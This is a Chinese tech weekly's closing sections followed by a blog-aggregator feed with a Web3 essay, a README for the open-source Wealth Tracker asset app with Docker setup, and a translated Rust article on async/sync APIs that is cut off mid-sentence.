根据用过的人说，左侧的侧屏，对于使用者非常有用。但是，重心有点不稳，用力击键时，侧屏会抖动。
从它可以看出，笔记本这种成熟产品，还是有很大的创新空间。
4、其他
（1） iPhone 16 系列据报道将支持 JPEG-XL 格式的图片，体积是 JPEG 的三分之一。
（2）中国互联网络信息中心（CNNIC）统计，截止6月底，中国注册的域名共3187万个，其中
.cn域名1956万个。同一份报告称，中国网民的95.5%看短视频，65.2%看长视频。
文章
1、SAML 身份验证的可视化解释（英文）
SAML 是企业常用的身份验证协议和 SSO（单点登录）解决方案。本文解释它是什么。
2、现代 CSS 方式设置 table 样式（英文）
本文介绍怎么用现代 CSS，对网页的
<table>标签进行样式设置。3、如何制作 SVG 加载器（英文）
本文一步步讲解，如何写 SVG 代码，生成一个"正在加载中"的动画图标。
4、小写可以减少压缩文件体积（英文）
本文解释为什么将大写字母改成小写后，文件的压缩体积会变小，是一篇压缩算法的简介。
5、.git 子目录内部（英文）
Git 仓库的元数据都保存在 .git 子目录，本文解释该子目录里面每一项的作用。
6、方形复选框的记忆（英文）
作者认为，设计师应该遵守一个约定：复选框是方形的，单选框是圆形的。
工具
1、Coolify
一个开源的应用运行平台，相当于自己搭建一个 Heroku / Netlify / Vercel 替代品，各种应用可以轻松在上面运行。
一个开源的双因素认证码管理器。
3、Marsview
一款面向后台的低代码可视化搭建平台，快速搭建中后台管理系统。（@JackySoft 投稿）
一个浏览器插件，将 Notion 内容导出为长图或卡片，同时保留排版格式。（@Shanshi66 投稿）
5、电池的电量显示
该网站使用一个简单的脚本（源码），显示当前设备的电池电量百分比。
6、tsimp
一个 Node.js 的 TypeScript 加载器，也就是说，它可以让 Node.js 运行 TS 脚本。
7、xpano
一个自动拼接多张照片的工具。
一个简单的、无类的 CSS 极简框架，受到 Milligram 和 Skeleton 的启发。
一个玩具应用，在线制作人口比重图（占总人口的比重）。
AI 相关
输入现代汉语句子，生成古汉语风格的句子，代码开源。（@JianXiao2021 开源）
AI 视频配音的开源工具，自动将外语视频改成中文配音。（@Y024 投稿）
3、kotaemon
一个开源的本地工具，可以指定 AI 模型，与添加的文档聊天。（@Y024 投稿）
一个开源的 Mac/Windows 桌面程序，通过系统麦克风，录制远程会议的音频，然后用 AI 生成会议记录和摘要。
免费使用的 Flux AI 文生图服务。（@youyuela 投稿）
资源
1、妖怪平生录
这个仓库收录了游戏《黑神话：悟空》内附的203个妖怪的图片、小诗和故事。（@meethigher 投稿）
快速匹配搜索 Emoji 的网站。（@0xjoanne 投稿）
3、使用 Julia 语言学习微积分（Calculus With Julia）（英文）
一本在线阅读的电子书，从最简单的极限开始介绍微积分，需要计算的地方使用 Julia 语言举例。
该网站可以免费观看英文纪录片。
图片
1946年，负责制造原子弹的美国洛斯阿拉莫斯实验室，发生了一起致命事故。
核物理学家路易斯·斯洛廷，带人参观实验室。他决定演示一下，原子弹的"关键组件"。
他用螺丝刀将铍半球支撑在钚核上。
但是，螺丝刀一滑，铍半球落到了钚核上方，引发了辐射反应。
他立刻用手将两者分开，导致自己受到了致命辐射，九天后就去世了。
下面是一个英国艺术家使用各种模型材料，重新还原的事故现场。
文摘
地球的总人口，目前是81.7亿。
10年前的2014年，总人口是73亿。
当时有人做过计算，73亿看上去是很大的数字，但并没有大家想象的那么大。
如果每个人用一粒米来代表，73亿粒米刚好填满一个边长为6.1米的立方体，大约相当于一栋两层小楼的体积。
如果每个人用一粒沙来代表，总体积将取决于沙粒的大小。最极端的情况下，73亿粒细沙刚好填满一个2升的饮料瓶。
在地球眼里，人就是一粒米或一粒沙的大小。每天喧闹无比、仿佛宇宙中心的人类社会，不过就是一栋小楼，或者一个饮料瓶里面发生的事情。
言论
1、
问：如果网速提高到 1Tb/s，互联网会怎样？
答：会有更多、更大、更快的广告。
2、
大家都认为 Nvidia 是销售 GPU（显卡）的公司，但是实际上他们是在销售 CUDA 加速运算库，GPU 只是非常昂贵又必不可少的独家配件。
3、
我不喜欢现场听技术演讲，95%的情况收获非常少。我更喜欢看技术演讲的录像，可以仔细思考，推荐给他人。我还可以将播放速度提高到 1.5倍或2倍，如果演讲不是那么好，这样至少可以减少浪费的时间。
-- 《我如何准备技术演讲》
4、
飞行器直立登陆月球非常困难，最近美国和日本的月球登陆器，都在登陆时倾倒了。主要原因是月球的重力只有地球的六分之一，重心稍高一点，就很容易翻倒了。
5、
敏捷宣言提出四大原则，其中之一是"正常工作的软件胜过详尽的文档"。
这条原则造成的结果，就是敏捷开发的项目，文档普遍很简陋。一项研究发现，敏捷开发的项目比不采用敏捷开发的项目，失败可能性高出268%。
往年回顾
生产力是形容机器，不是形容人（2023 #268）
葡萄酒，樱花，全球变暖（2022 #218）
游戏《底特律：变人》（2021 #168）
高考志愿怎么填（2020 #118）
（完）
文档信息
- 版权声明：自由转载-非商用-非衍生-保持署名（创意共享3.0许可证）
- 发表日期： 2024年8月30日
- 博客 Jiajun的编程随想 2024-08-30 08:00:00《HTTP 压力测试中的 Coordinated Omission》HTTP负载测试工具有很多，常见的有 ApacheBench，也就是 ab，还有 wrk、vegata等。在了解这些工具时，我了解到一个新的概念：Coordinated Omission，来看 GPT 的解释...
- 博客 二丫讲梵 2024-08-30 05:58:45如要阅读全文，点击标题跳转。学习周刊-总第174期| Remembering-Haoel | fastapi-vue-admin | drag-to-preview | SwitchHosts | image-matting | matting-website | easeprobe
- 博客 土木坛子 2024-08-30 00:00:17以前我在英国和欧洲时，都是直接到银行操作海外跨境汇款，直到最近几年见JUSTYY博主给我汇款时使用Wise，但 […]
- 博客 西秦公子 2024-08-29 23:40:59对于大企业的员工而言，我们会有逐渐「制度化」的倾向。因为制度确实帮助我们包办了一切。但作为一个独立的个体。我们 […]
- 博客 61's life 2024-08-29 23:22:00115
- 博客 欧雷流 2024-08-29 17:49:57
听到「Web3」这个词，你会作何反应？
至少从我发布的前两篇文章评论区来看，大部分人留言「坐牢」和「割韭菜」这类文字；可见他们并不了解 Web3，而且 Web3 被严重地妖魔化了。
质疑 Web3 是合理且应该的，任何事物都需要被质疑，这才能越来越接近其本质；但他们那不是在质疑，而是带着偏见在歧视。
本文将阐述我对 Web3 的理解，以此为其正名。
为何去中心化
内容创作者是我众多身份中的一个，虽说我有经营了 10 多年的个人网站，但在当下这个时代若想自己所创作的内容被更多的人看到，不得不借用内容平台的潜在流量。
作为内容创作者来说，最苦恼的事情莫过于没人看自己用心创作出的内容，要真是自己水平问题那还能接受，但若是因为被内容平台进行限流、仅作者可见等处理了导致的呢？
被处理后收到的系统通知往往是「你的内容不符合规范」这种语焉不详的文案，根本看不出自己的内容到底哪里不符合哪条规范。
更不合理的是，通常没有有效的申诉途径——要么是压根儿没有申诉入口；要么是申诉了无人处理；要么是处理的人随便糊弄——在内容平台面前，创作者有尊严可言吗？
这还只是我与他人所遇到的种种问题中的一个事例，它们之间的共性是中心化平台很难最大化公正性，主要原因是：
- 权力集中在运营方手中，没有任何外部人员参与决策的部分；
- 平台规则不够细致，因大量模糊用词而造成很大的可操作、可任意解释的灰色地带；
- 平台对用户生产的内容的处理过程不透明，被用户监督的体系缺失；
- 举报申诉的反馈机制很不完善，维权十分复杂，甚至可能无法维权。
用户与中心化平台之间的关系不完全是对立的：
- 平台可以有自己的规则，在用户触犯时对其进行惩罚，这些都是合理的；
- 平台的规则可以不完善，在用户有理有据地提出异议时能够虚心接受并改进，而非蛮横专制地强词夺理，这是想把平台做好的运营方该做的；
- 用户为平台生产数据，平台为用户提供流量或其他价值，这本是双赢的事。
可正如上述的几点「主要原因」，中心化平台很难做到这些看似简单的事，那么用户的权益就无法很好地得到保障，只留下 3 个选项：
- 直接离开；
- 抱着最后的希望想办法申诉下试试；
- 继续忍着被近乎无尽的凌辱，直到无法忍受。
无论选择哪个选项，结果很可能都是「离开」。
可是，离开了，然后呢？是不再做相关的事情了吗？还是说再换到其他同类中心化平台上？难道那个平台就大概率是能很好地保障用户权益的？
一个真正以人为本的数字服务的大致样貌，我在《闲聊个人服务：革「to C」的命》中进行了描绘。
最终，那些注重自身权益且有所想法的人，都将目光投向了「去中心化」的平台，并视其为救命稻草。
如何去中心化
当谈论「去中心化」时，必须要明确被去中心化的事物是什么，如数据所有权、数据控制权、计算方式、通信方式等，否则就会鸡同鸭讲，驴唇不对马嘴。
有些人秉持的是绝对去中心化主义，但这就像想要绝对自由及平均主义一样——痴心妄想。
实现「去中心化」需依赖于分布式网络结构，即一个网络中的节点间可相互直接通信，无需经过某个拥有控制权的中转节点，那个中转节点就是「中心」。
也许有人会有疑问——没有「中心」统一指挥调度的话，网络中的那些节点岂不是乱套了？！它们之间还怎么进行通信与协作？！
抛开计算机网络不谈，看看人类是怎么做的——
人类个体间的通信需要借助符号、语音等能够传递信息的媒介，同样的媒介单位在不同的体系中的含义会不一样，只有两人在处于同一体系时才能进行通信，比如都用汉语交流。
那么，人类个体间在没有指挥者的情况下是如何朝着一个方向使力协同工作的呢？大概有下面几种：
- 文明、民族的文化、传统、习俗；
- 国家的法律法规；
- 组织的规章制度；
- 彼此间磨合出的默契。
这些都是参与者之间所达成的共识或要遵守的规定，靠最终形成的一致的规则去约束并协调每个个体的行动，从而完成某个具体任务。
综上所述，「相同的媒介体系」与「一致的行动规则」是实现「去中心化」的关键所在！
将视角转回到计算机领域，「相同的媒介体系」就是数据类型与编码，「一致的行动规则」则是协议与标准。
另外，正如上文所说，绝对的「去中心化」是不存在的——在一个整体看起来是分布式的网络中，其中的某个节点也可能是一个有「中心」的更小型网络。
Web 的迭代
人们当下的数字生活离不开 Web，无论是浏览网页或使用原生客户端应用，都很依赖于它。
从 1989 年诞生至今，为满足各类需求 Web 相关技术已经得到蓬勃发展，甚至当下的发展方向有些远离其发明者的预期了。
在这 35 年中，因生产生活中使用方式与思想浪潮的变迁，每几年就会出现一些集中性的特点，以此去分期断代，并在「Web」后加上自增的数字命名。
很多介绍 Web3 的资料会将其描述为「Web 3.0」，或与「Web 1.0」和「Web 2.0」放在同一层级进行比较——作为一个措辞敏感的人，实在很难认同。
把表示「代」的数字用「X」替换的话，有「Web X.0」和「WebX」这两种构词形式，它们之间的含义有很大差异。
代与代之间并非取代的关系，而是共存，哪个占比更多就是「主流」，占比少的不会完全消失，但会被「忽略不计」。
Web X.0
Web 是由 Tim Berners-Lee 在 CERN 时发明的，最初的目的只是为了能够在互联网上共享以图文为主的资料文档等，天生就有「去中心化」的基因，自己电脑就可作为服务器。
那时，CSS、JS 都还没有出现，PHP、Java 就更不用说了，网页不光是完全静态而无法交互的，也看起来很是简朴——正如当时人们的想法一样——仅仅是知识共享而已。
随着令网页变得更漂亮以及从各种意义上来说变得动态化的支撑性技术的出现，网页开始向个性化、商业化的方向发展，进而逐渐涌现出五花八门的个人网站、商业网站，让 Web 充满朝气。
大约在 2004 年之后，Web 的主流应用形式转向社交化、平台化，大量 SNS、XaaS 类产品迎面扑来，占领人们日常生产生活的方方面面，平台方掌握大量用户与数据，商业价值水涨船高。
以 2004 年左右为分界点，之前 Web 的应用形式主要为信息发布类内容网站，这对用户来说内容是「只读」的，被称为「Web 1.0」。
而之后 Web 的应用形式则更多的是用户可参与内容创作和分享互动的平台服务，即「可读可写」，被称为「Web 2.0」；这时明显地呈现出中心化特征，与 Web 的初衷相违背。
上文是从 Web 的应用形式进行断代的，作为 Web 发明者的 Tim Berners-Lee 并不认同，他在自己笔记中从技术发展与解决问题的层面划分为：
- Web 1.0——建立全球性的文档与数据之网；
- Web 2.0——增强信息访问的安全性；
- Web 3.0——构建提高数据互操作性的语义网。
其中，「Web 3.0」就是借助一系列的协议、标准与技术，使网页内容强化为易被机器读取并理解的结构化数据，将整个 Web 变成庞大的知识图谱、智能网络。
Tim Berners-Lee 所构想的「Web 3.0」可用去中心化的方式应用于知识工程、人工智能、万物互联、社交网络等领域。
WebX
在 Tim Berners-Lee 所构想的 Web 中，「去中心化」是天然的、无需特意强调的，但在实际的应用中偏离预期走向了以中心化平台为主流的模式。
这时，以比特币为首与 Web 相关技术不同的另一个同样是去中心化的区块链相关技术诞生，由于是在中心化平台横行的时代背景下且自带货币体系，它的「去中心化」带有叛逆的意味。
加密货币交易与记录不可篡改是区块链的基本特性，因而发展出以加密货币为中心的各类金融活动也就是自然而然的事情。
目前区块链相关技术应用相对成熟的领域就是去中心化金融，即「DeFi」；因其具备股票、外汇交易等的特点，并且无监管，很容易造成经济损失，需要十分慎重。
区块链相关技术的应用领域或多或少都会带有金融属性，也形成了相应的文化与行业，也就是「Web3」。
之所以叫「Web3」，跟上文中阐述的 Web 应用形式层面的「Web 2.0」的中心化特征有很大关系，同时与 Tim Berners-Lee 所构想的「Web 3.0」之间可以说有较大差异。
为了与未采用区块链相关技术的 Web 关联产品与行业划清界限，将它们称作「Web2」。
结语
本文从个人的经历与理解出发，述说了去中心化的缘由与底层逻辑，并试图解释了「Web X.0」和「WebX」这两种对 Web 分期断代形式的含义。
我致力于探索研究面向个人与家庭去中心化及数智化的解决方案，从这个角度看无论是 Tim Berners-Lee 的「Web 3.0」还是「Web3」都无所谓；但若考虑到我的职业发展，那就唯有「Web3」。
Web3 是个黑暗森林，到处潜伏着对自己资产虎视眈眈的人，需要无时无刻地提高警惕，谨慎对待一切，才能保全自己——这就是无监管的弊端，想要自由的代价！
- 博客 Skywind Inside 2024-08-29 01:05:00
CMake 已经成为 C++ 构建工具事实上的标准了，即便觉得它很难用，但项目发布，跨部门协同，基本都以 cmake 为准。尽管你可能觉得其它构建工具更顺手，没问题，你们平时用就行，但项目发布或者跨团队协同时，你得同时用上 cmake 来标准化。 那么对于内部中小项目，非正式个人练手项目，或者非发布阶段的开发过程，是否也需要上 cmake 呢？还真不一定，一旦不用 cover 整个宇宙的构建需求，我们大可以找一个趁手的二号构建工具，满足平时使用。那么哪个二号构建工具值得推荐呢？ 很多流行的构建工具，从 xmake 到 meson，恐怕都不适合，因为他们都试图同 cmake 去竞争试图要 cover 整个宇宙，即便号称精简，也不可能精简到哪里，尽管他们最简单的 demo 看起来好像真的超简单，但再稍微复杂点，比如考虑多平台架构，加个 release/debug 和包管理，一个个都变得丑陋不堪，立马原型毕露，因为他们都是命令式的。 我从 2009 年开发了一个叫做 emake 的构建工具，就是一个 emake.py 的单一脚本，持续使用并陆陆续续迭代了 15 年，今天感觉可以让他出来走两步。 推荐它，因为它有可能是你见过最简单的构建工具了，简单到什么程度呢？ （点击 more 展开阅读） 第一：定义式构建工具 简单点例子：main.mak … Continue reading →
The post Emake：你见过最简单的 C/C++ 构建工具 appeared first on Skywind Inside.
- 博客 西秦公子 2024-08-28 23:45:22在计算机领域有一个非常经典的业务模型 —— IaaS、PaaS、SaaS，借助这个业务模型的区分，我们可以快速 […]
- 博客 晚晴幽草轩 2024-08-28 20:20:00
生财有迹（Wealth Tracker）是一款专注于个人资产分析的应用程序。其核心功能是：全面记录并展示用户的资产状况，帮助用户轻松了解财务现状；运用 AI 能力，结合每种资产的特性和当前环境，提供适宜的财务建议。
项目愿景
在当今多元化的经济环境中，个人资产管理变得日益重要。它往往分散于各类金融账户和服务中，例如银行存款与理财产品、移动支付平台（如微信支付、支付宝）、公积金、医保账户、货币基金（例如余额宝）、债券、各种股票及基金产品、房地产、贵金属、外部借款（尽量不做此配置🤫）以及其他投资等等（对于部分朋友，或许还有贷款、欠款等负债）。这些账户中的数额在不断变动，使得快速准确地了解个人总资产状况成为一项挑战。
本项目旨在提供一个高效、直观的解决方案，以应对个人资产管理中的分散性和复杂性。
生财有迹专注于账户余额及整体数额，避免深陷于单笔收支的琐碎细节。其目标是通过简化操作流程，帮助用户揭示个人资产的整体变化趋势，并通过友好的用户界面，使用户能够轻松记录和洞悉自己的财务信息。如欲了解更多，可移步至博文：生财有迹 | 您专属的资产跟踪与分析工具。核心特性
- 简洁易用的操作界面：用户可以通过几个简单的步骤快速上手，无需任何复杂的财务知识。
- 丰富的数据可视化：通过图表和图形，直观展示资产变化，帮助用户轻松掌握财务状况。
- 本地部署的灵活性：部署在哪里由用户决定，确保数据的私密性、安全性，以及可扩展性。
- 开源的代码架构：项目的源代码完全开放，欢迎参与贡献，以不断改进和完善工具的功能。
通过这些特性，希望建立一个用户友好、透明且可信赖的个人财分析工具，帮助用户更全面地掌握自己的财务状况。
在线体验
为了让您更直观地了解 生财有迹 的功能和特性，已在服务器上使用
pm2部署了一个演示版本。该演示环境填充了模拟数据，方便您全面体验各项功能。无论您是想评估工具的实用性，还是出于好奇想一探究竟，欢迎访问以下链接进行体验：请注意，这是一个公共演示环境，因此请勿在其中输入任何真实的个人财务信息。建议您在体验后，考虑按照本文档的指导，在自己的环境中部署和使用”生财有迹”，以确保您的财务数据的隐私和安全。
如果您在使用过程中遇到任何问题或有反馈意见，欢迎通过项目的 GitHub 页面 与我们联系。您的宝贵意见将帮助我们不断改进这一工具，以更好地满足用户的需求。
先决条件
说明用户在安装和使用前，需要准备的一些先决条件，譬如：您需要安装或升级 Node.js（>=
16.*），推荐使用 Pnpm 或 Yarn 作为首选包管理工具。如何使用？
使用 Docker
使用 docker compose：
1234567891011121314version: '3.8'services:wealth-tracker:image: nicejade/wealth-trackercontainer_name: wealth-trackerports:- '8888:8888'volumes:- ./data:/app/datarestart: unless-stoppedvolumes:data:这将在后台启动服务，并且效果与下面的
docker run命令相同。使用 Docker Compose 可以更方便地管理多个容器，并且配置更易读和维护。或者 docker run：
1docker run -d -p 8888:8888 -v "$(pwd)/data:/app/data" nicejade/wealth-tracker如果您在本地部署，只需打开网址——http://localhost:8888 即可访问。如果在服务器运行，可通过 http://[Server-IP]:8888 来访问，您也可以指定其他端口。
使用 Node.js
12345678# clone projectgit clone https://github.com/nicejade/wealth-tracker.git# install & run for clientcd client && pnpm i && pnpm start# install & run for srevercd server && pnpm i && pnpm start本项目客户端采用 Svelte 框架，基于 Vite 所构建，默认
5173端口，只需打开网址—— http://localhost:5173 即可访问。命名由来
在项目开发初期，有为应用取中文名为：”财富追踪器”（英文名：
Wealth Tracker）。这个名称初看简洁明了，似乎完美契合产品理念。然而，随着开发深入，逐渐显现出其局限性：- 概念范畴过广：”财富”一词涵盖范围极广，不仅包括金钱资产，还可能指代时间、知识、经历，甚至是绝美容颜等无形价值。
- 功能定位不够精准：该应用实际上专注于能被精确计算和记录、且已经形成的有形资产，而非泛泛追踪所有形式的”财富”。
这种认知更新促使重新思考产品定位和命名。偶然想到了两个颇具启发性的成语：”生财有道”和”生财有术”；而应用的核心功能恰恰是记录资产增长的轨迹。基于这一灵感，最终确定将应用命名为”生财有迹“。这个名字巧妙地结合了几个要素：
- “迹”与”记”同音，暗示了记录的功能。
- “生”与”升”同音，象征着资产的增长。
- 整体保留了”生财”的概念，与原有的资产主题保持一致。
“生财有迹”这个新名称不仅准确反映出产品功能定位，传达了产品理念，还蕴含了对用户资产增长的美好祝愿，希望您也会喜欢。
给予支持
生财有迹项目开源且免费，然而设计与编码需耗费时间和精力。如若您对其使用感到满意，请考虑通过以下方式进行小额捐赠：
微信扫码赞助
路线图
“生财有迹”项目正处于积极的设计和研发阶段，致力于在功能丰富与易用性之间寻求平衡，以满足用户日益增长的个人财务管理需求。未来开发重点包括增强数据可视化能力、加强数据安全性、以及提升 AI 辅助分析功能等。
- 更新资产数据记录；
- 资产数据可视化；
- 查阅数据记录详情；
- 设置阶段性目标；
- 资产数据安全性；
- 借助 AI 辅助分析；
特别鸣谢
本项目的开发过程中，依赖并受益于以下优秀的开源技术和工具（未包含全部）。它们不仅提供了强大的功能，还促进了项目的高效开发和稳定运行。
- Svelte: 作为一种新兴的前端框架，Svelte 通过其创新的编译时技术，让我们的 Web 应用更加轻量和高效。它减少了我们需要编写的样板代码，同时提高了运行时的性能。
- TailwindCSS: 通过提供实用主义的 CSS 类，TailwindCSS 极大地简化了样式设计的过程。它使得我们能够快速构建美观且响应式的用户界面，同时保持代码的清晰和维护性。
- Vite: 作为一个现代化的前端构建工具，Vite 通过其快速的冷启动和即时的模块热更新，极大地提高了我们的开发效率。它利用了原生 ES 模块特性，使得项目构建更加高效。
- Flowbite: 提供了一系列预构建的组件和模板，Flowbite 极大地加快了我们的开发流程。它帮助我们快速实现了复杂的用户界面元素，同时保持了代码的可定制性和可维护性。
- Axios: 作为一个基于 Promise 的 HTTP 客户端，Axios 简化了我们的 Web 应用中与 API 的交互。它的易用性和广泛的功能集使得我们能够轻松处理 HTTP 请求和响应。
- Day.js: 作为一个轻量级的 JavaScript 日期库，Day.js 提供了直观的 API 来处理日期和时间。它使得我们在应用中处理复杂的日期计算变得简单且可靠。
- Node.js: 作为一个高效的 JavaScript 运行环境，Node.js 使得服务器端开发变得前所未有的简单和快速。它的事件驱动和非阻塞 I/O 模型极大地提高了我们的应用性能和响应速度。
- Fastify: 这个高性能的 Node.js Web 框架为我们提供了一个简单且强大的接口来构建 RESTful API。它的低开销和高度可扩展性使得我们的后端服务既快速又稳定。
- SQLite3: 作为一个轻量级的数据库引擎，SQLite3 为我们提供了一个无需配置的本地存储解决方案。它的简单性和高效性使得开发者在本地部署应用时能够轻松管理数据。
- Sequelize: 作为一个强大的 ORM 框架，Sequelize 为我们提供了一种简单且直观的方式来管理数据库关系。它的灵活性和功能丰富性使得我们能够轻松实现复杂的数据操作和查询。
在此，对上述技术和工具的开发者和社区，致以崇高的敬意和衷心的感谢❤️。正是得益于他们的卓越贡献，
生财有迹才能得以成功构建并持续优化。同时，也要感谢如 ChatGPT、Github Copilot、Poe、Kimi 等 AI 工具在开发过程中提供的宝贵支持，它们显著提高了工作效率和体验。 - 博客 鸟窝 2024-08-28 08:30:43
来，过路人，请坐到我身边来，听老衲讲一讲我对 Rust 过分要求的故事。
介绍
想象一下,你打算用Rust创建一个新库。这个库的唯一功能就是封装一个你需要的公共API, 比如 Spotify API或者 ArangoDB 之类的数据库。这并不是造火箭，你也不是在发明什么新东西或者处理复杂的算法,所以你认为这应该相对简单直接。
你决定用异步方式实现这个库。你的库中大部分工作都涉及执行HTTP请求,主要是I/O操作,所以使用异步是有道理的(而且,这也是Rust圈里现在的潮流)。你开始编码,几天后就准备好了v0.1.0版本。当
cargo publish成功完成并将你的作品上传到crates.io时,你暗自得意地想: "不错嘛"。几天过去了,你在GitHub上收到了一个新通知。有人提了一个问题:
我如何同步使用这个库？
我的项目不使用异步,因为对我的需求来说太复杂了。我想尝试你的新库,但不确定怎么轻松地使用它。我不想在代码中到处使用
block_on(endpoint())。。我见过像reqwest这样的 crate导出一个blocking模块，提供完全相同的功能,你能不能也这么做?从底层来看,这听起来是个很复杂的任务。为异步代码(需要像
tokio这样的运行时、awaiting future、pinning等)和普通的同步代码提供一个通用接口?好吧,既然他们提出请求的态度很好,也许我们可以试试。毕竟,代码中唯一的区别就是async和await关键字的出现,因为你没有做什么花哨的事情。好吧，这或多或少就是crate 发生的事情
rspotify，我曾经和它的创建者 Ramsay 一起维护它。对于那些不知道的人来说，它是 Spotify Web API 的一个包装器。对不了解的人来说,这是一个Spotify Web API的封装。说明一下,我最终确实实现了这个功能,尽管不如我希望的那么干净利落;我会在Rspotify系列的这篇新文章中试图解释这个情况。第一种方法
为了提供更多背景信息，Rspotify 的客户端大致如下：
12345678910struct Spotify { /* ... */ }impl Spotify {async fn some_endpoint(&self, param: String) -> SpotifyResult<String> {let mut params = HashMap::new();params.insert("param", param);self.http.get("/some-endpoint", params).await}}本质上，我们需要让
some_endpoint同时支持异步和阻塞两种使用方式。这里的关键问题是，当你有几十个端点时，你该如何实现这一点？而且，你怎样才能让用户在异步和同步之间轻松切换呢？老掉牙的复制粘贴大法
这是最初实现的方法。它相当简单，而且确实能用。你只需要把常规的客户端代码复制到 Rspotify 的一个新的
blocking模块里。reqwest（我们用的 HTTP 客户端）和reqwest::blocking共用一个接口，所以我们可以在新模块里手动删掉async或.await这样的关键字，然后把reqwest的导入改成reqwest::blocking。这样一来，Rspotify 的用户只需要用
rspotify::blocking::Client替代rspotify::Client，瞧！他们的代码就变成阻塞式的了。这会让只用异步的用户的二进制文件变大，所以我们可以把它放在一个叫blocking的特性开关后面，大功告成。不过，问题后来就变得明显了。整个 crate 的一半代码都被复制了一遍。添加或修改一个端点就意味着要写两遍或删两遍所有东西。
除非你把所有东西都测试一遍，否则没法确保两种实现是等效的。这主意倒也不坏，但说不定你连测试都复制粘贴错了呢！那可怎么办？可怜的代码审查员得把同样的代码读两遍，确保两边都没问题 —— 这听起来简直就是人为错误的温床。
根据我们的经验，这确实大大拖慢了 Rspotify 的开发进度，尤其是对于不习惯这种折腾的新贡献者来说。作为 Rspotify 的一个新晋且热情的维护者，我开始研究其他可能的解决方案。
召唤
block_on第二种方法是把所有东西都在异步那边实现。然后，你只需为阻塞接口做个包装，在内部调用
block_on。block_on会运行 future 直到完成，本质上就是把它变成同步的。你仍然需要复制方法的定义，但实现只需写一次：1234567891011mod blocking {struct Spotify(super::Spotify);impl Spotify {fn endpoint(&self, param: String) -> SpotifyResult<String> {runtime.block_on(async move {self.0.endpoint(param).await})}}}请注意，为了调用
block_on，您首先必须在端点方法中创建某种运行时。例如，使用tokio：12345let mut runtime = tokio::runtime::Builder::new().basic_scheduler().enable_all().build().unwrap();这就引出了一个问题：我们是应该在每次调用端点时都初始化运行时，还是有办法共享它呢？我们可以把它保存为一个全局变量（呃，真恶心），或者更好的方法是，我们可以把运行时保存在
Spotify结构体中。但是由于它需要对运行时的可变引用，你就得用Arc<Mutex<T>>把它包起来，这样一来就完全扼杀了客户端的并发性。正确的做法是使用 Tokio 的Handle，大概是这样的：1234567891011use tokio::runtime::Runtime;lazy_static! { // You can also use `once_cell`static ref RT: Runtime = Runtime::new().unwrap();}fn endpoint(&self, param: String) -> SpotifyResult<String> {RT.handle().block_on(async move {self.0.endpoint(param).await})}虽然使用 handle 确实让我们的阻塞客户端更快了^1，但还有一种性能更高的方法。如果你感兴趣的话，这正是
reqwest自己采用的方法。简单来说，它会生成一个线程，这个线程调用block_on来等待一个装有任务的通道 [^2] (https://nullderef.com/blog/rust-async-sync/#block-on-channels) [^3] (https://nullderef.com/blog/rust-async-sync/#block-on-reqwest)。不幸的是，这个解决方案仍然有相当大的开销。你需要引入像
futures或tokio这样的大型依赖，并将它们包含在你的二进制文件中。所有这些，就是为了...最后还是写出阻塞代码。所以这不仅在运行时有成本，在编译时也是如此。这在我看来就是不对劲。而且你仍然有不少重复代码，即使只是定义，积少成多也是个问题。
reqwest是一个巨大的项目，可能负担得起他们的blocking模块的开销。但对于像rspotify这样不那么流行的 crate 来说，这就难以实现了。复制 crate
另一种可能的解决方法是，正如 features 文档所建议的那样，创建独立的 crate。我们可以有
rspotify-sync和rspotify-async，用户可以根据需要选择其中一个作为依赖，甚至如果需要的话可以两个都用。问题是 —— 又来了 —— 我们究竟该如何生成这两个版本的 crate 呢？即使使用 Cargo 的一些技巧，比如为每个 crate 准备一个Cargo.toml文件（这种方法本身就很不方便），我也无法在不复制粘贴整个 crate 的情况下做到这一点。采用这种方法，我们甚至无法使用过程宏，因为你不能在宏中凭空创建一个新的 crate。我们可以定义一种文件格式来编写 Rust 代码的模板，以便替换代码中的某些部分，比如
async/.await。但这听起来完全超出了我们的范畴。最终版是：
maybe_asynccrate第三次尝试基于一个名为
maybe_async的 crate。我记得当初发现它时，天真地以为这就是完美的解决方案。总之，这个 crate 的思路是，你可以用一个过程宏自动移除代码中的
async和.await，本质上就是把复制粘贴的方法自动化了。举个例子：12#[maybe_async::maybe_async]async fn endpoint() { /* stuff */ }生成以下代码：
12345#[cfg(not(feature = "is_sync"))]async fn endpoint() { /* stuff */ }#[cfg(feature = "is_sync")]fn endpoint() { /* stuff with `.await` removed */ }你可以通过在编译 crate 时切换
maybe_async/is_sync特性来配置是要异步还是阻塞代码。这个宏适用于函数、trait 和impl块。如果某个转换不像简单地移除async和.await那么容易，你可以用async_impl和sync_impl过程宏来指定自定义实现。它处理得非常好，我们在 Rspotify 中已经使用它一段时间了。事实上，它效果如此之好，以至于我让 Rspotify 变成了HTTP 客户端无关的，这比异步/同步无关更加灵活。这使我们能够支持多种 HTTP 客户端，比如
reqwest和ureq，而不用管客户端是异步的还是同步的。如果你有
maybe_async，实现HTTP 客户端无关并不是很难。你只需要为 HTTP 客户端定义一个 trait，然后为你想支持的每个客户端实现它：一段代码胜过千言万语。（你可以在这里找到 Rspotify 的
reqwest客户端的完整源代码，ureq也可以在这里找到 ）1234567891011121314151617181920212223#[maybe_async]trait HttpClient {async fn get(&self) -> String;}#[sync_impl]impl HttpClient for UreqClient {fn get(&self) -> String { ureq::get(/* ... */) }}#[async_impl]impl HttpClient for ReqwestClient {async fn get(&self) -> String { reqwest::get(/* ... */).await }}struct SpotifyClient<Http: HttpClient> {http: Http}#[maybe_async]impl<Http: HttpClient> SpotifyClient<Http> {async fn endpoint(&self) { self.http.get(/* ... */) }}然后，我们可以进一步扩展，让用户通过在他们的
Cargo.toml中设置特性标志来选择他们想要使用的客户端。比如，如果启用了client-ureq，由于ureq是同步的，它就会启用maybe_async/is_sync。这样一来，就会移除async/.await和#[async_impl]块，Rspotify 客户端内部就会使用ureq的实现。这个解决方案避免了我之前提到的所有缺点：
- 完全没有代码重复
- 无论是在运行时还是编译时都没有额外开销。如果用户想要一个阻塞客户端，他们可以使用
ureq，这样就不会引入tokio及其相关依赖 - 对用户来说很容易理解；只需在
Cargo.toml中配置一个标志
不过，先停下来想几分钟，试试看你能不能找出为什么不应该这么做。实际上，我给你9个月时间，这就是我花了多长时间才意识到问题所在...
问题
嗯，问题在于 Rust 中的特性必须是叠加的："启用一个特性不应该禁用功能，而且通常应该可以安全地启用任意组合的特性"。当依赖树中出现重复的 crate 时，Cargo 可能会合并该 crate 的特性，以避免多次编译同一个 crate。如果您想了解更多详细信息，参考资料对此进行了很好的解释。
这种优化意味着互斥的特性可能会破坏依赖树。在我们的情况下，
